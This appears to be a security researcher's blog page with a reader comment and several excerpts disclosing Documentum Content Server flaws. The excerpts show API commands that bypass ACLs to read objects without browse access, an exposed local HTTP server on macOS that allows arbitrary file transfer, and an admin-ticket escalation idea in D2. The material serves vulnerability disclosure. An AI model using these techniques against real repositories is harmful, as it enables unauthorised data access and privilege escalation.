Hi Andrey

I read through your PoC regarding Documentum Content Server and saw your comments about that the vendors mitigations were incomplete and generally the vendor was not responding as this would normally be the case.

Do you have any information, if current versions of Documentum (16.x) are still vulnerable for the attacks?
Or generally if the vendor reacts now more responsibly to security issues?

Your insights would be appreciated.

Hi, if my memory serves me right, there are about 5-7 security vulnerabilities in Documentum CS, which were not mitigated at all or mitigations were incomplete.

dm_world magic

Interesting observation: the more I learn Documentum the more I realize that it is a piece of dog crap. Recently I demonstrated possibility to create world-writable ACL by setting the value of owner_name to ‘dm_world’, this fact have given me idea that the same trick will work for sysobjects (i.e. create world-readable sysobject regardless assigned ACL), moreover SQLs generated by Content Server look very promising:

API> ?,c,select count(*) from dm_folder
(1 row affected)


select all count(*) ... ( dm_folder.owner_name in ('test','dm_world')) ...


API> create,c,dm_document
API> set,c,l,owner_name
SET> dm_world
API> save,c,l
[DM_SYSOBJECT_E_CANT_FIND_USER]error:  "The user 'dm_world' specified does not exist."

Repository traversal

API> fetch,c,0b024be9800a8e60
[DM_API_E_EXIST]error:  "Document/object specified by 0b024be9800a8e60 does not exist."

[DM_SYSOBJECT_E_NO_BROWSE_ACCESS]error:  "No browse access for sysobject with ID '0b024be9800a8e60'."


API> apply,c,0b024be9800a8e60,FETCH_PIECE,OBJECT_TYPE,S,dm_sysobject,VSTAMP,I,-1
API> next,c,q0
API> dump,c,q0

  object_name                     : Repository traversal
  title                           : 
  subject                         : 
  resolution_label                : 
  owner_name                      : dmadmin
  owner_permit                    : 7
  group_name                      : docu
  group_permit                    : 5
  world_permit                    : 1
  log_entry                       : 
  acl_domain                      : dmadmin
  acl_name                        : dm_45024be98000c501
  language_code                   : 


  r_object_type                   : dm_folder
  r_creation_date                 : 5/14/2018 07:43:07
  r_modify_date                   : 5/14/2018 07:43:07
  r_modifier                      : dmadmin
  r_access_date                   : nulldate
  r_link_cnt                      : 0
  r_link_high_cnt                 : 0
  r_assembled_from_id             : 0000000000000000
  r_frzn_assembly_cnt             : 0
  r_has_frzn_assembly             : F
  r_is_virtual_doc                : 0
  r_page_cnt                      : 0
  r_content_size                  : 0
  r_lock_owner                    : 
  r_lock_date                     : nulldate
  r_lock_machine                  : 
  r_immutable_flag                : F
  r_frozen_flag                   : F
  r_has_events                    : F
  r_creator_name                  : dmadmin
  r_is_public                     : F
  r_policy_id                     : 0000000000000000
  r_resume_state                  : 0
  r_current_state                 : 0
  r_alias_set_id                  : 0000000000000000
  r_full_content_size             : 0


  a_application_type              : 
  a_status                        : 
  a_is_hidden                     : F
  a_retention_date                : nulldate
  a_archive                       : F
  a_compound_architecture         : 
  a_link_resolved                 : F
  a_content_type                  : 
  a_full_text                     : T
  a_storage_type                  : 
  a_special_app                   : 
  a_category                      : 
  a_is_template                   : F
  a_controlling_app               : 
  a_is_signed                     : F
  a_last_review_date              : nulldate


  i_is_deleted                    : F
  i_reference_cnt                 : 1
  i_has_folder                    : T
  i_contents_id                   : 0000000000000000
  i_cabinet_id                    : 0c024be980000105
  i_antecedent_id                 : 0000000000000000
  i_chronicle_id                  : 0b024be9800a8e60
  i_latest_flag                   : T
  i_branch_cnt                    : 0
  i_direct_dsc                    : F
  i_is_reference                  : F
  i_retain_until                  : nulldate
  i_partition                     : 0
  i_is_replica                    : F
  i_vstamp                        : 0

CTF, you fucked

I’m not sure about CTF for Windows, but no doubts CTF for MacOS is a piece of dog crap. How CTF works on MacOS: it installs DCMApp.app, which is actually a HTTP-server which is listening on 13800/tcp:

Andreys-MacBook-Pro:~ apanfilov$ cat /Applications/DCMApp.app/Contents/Info.plist 
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
Andreys-MacBook-Pro:~ apanfilov$ ps -ef | grep CTFHTTPServer
  501 67706     1   0  1:21am ??         0:06.77 /Applications/DCMApp.app/Contents/MacOS/CTFHTTPServer -psn_0_9234638
  501 67707 67706   0  1:21am ??         0:00.87 /Applications/DCMApp.app/Contents/MacOS/CTFHTTPServer -psn_0_9234638
  501 71255 69468   0  3:50am ttys007    0:00.00 grep CTFHTTPServer
Andreys-MacBook-Pro:~ apanfilov$ lsof -i -n -P | grep 13800
CTFHTTPSe 67706 apanfilov   10u  IPv4 0x4bfdf3517d667f4d      0t0    TCP (LISTEN)
Andreys-MacBook-Pro:~ apanfilov$ 

and as result we have:

Simple echo servlet:

 * @author Andrey B. Panfilov <andrey@panfilov.tel>
public class EchoServlet extends HttpServlet implements Servlet {

	protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
		String name = req.getParameter("filename");
		byte[] content = req.getParameter("content").getBytes();
		resp.setHeader("Content-type", "application/octet-stream");
		resp.setHeader("Content-Disposition", "attachment; filename*=UTF-8''" + Rfc5987Util.encode(name));


That is to say if you have CTF installed any internet site may upload/download arbitrary information to/from your computer.

Why exposing administrative interfaces is a bad idea

After Alvaro’s blogpost I wanted to write something like: “Hey, you have missed something: you can create c6_method_return object, execute D2GetAdminTicketMethod, get encrypted admin’s ticket and use it as a password (fuck yeah, I have failed to solve this puzzle: what was the point to encrypt ticket in D2GetAdminTicketMethod if D2 servlets accept both encrypted and unencrypted passwords)”. Unfortunately, D2GetAdminTicketMethod is not a part of D2 installation anymore (it seems that talented team has at least one member who can read). Do you think it is an end of D2 disclosures? No, it is just a beginning.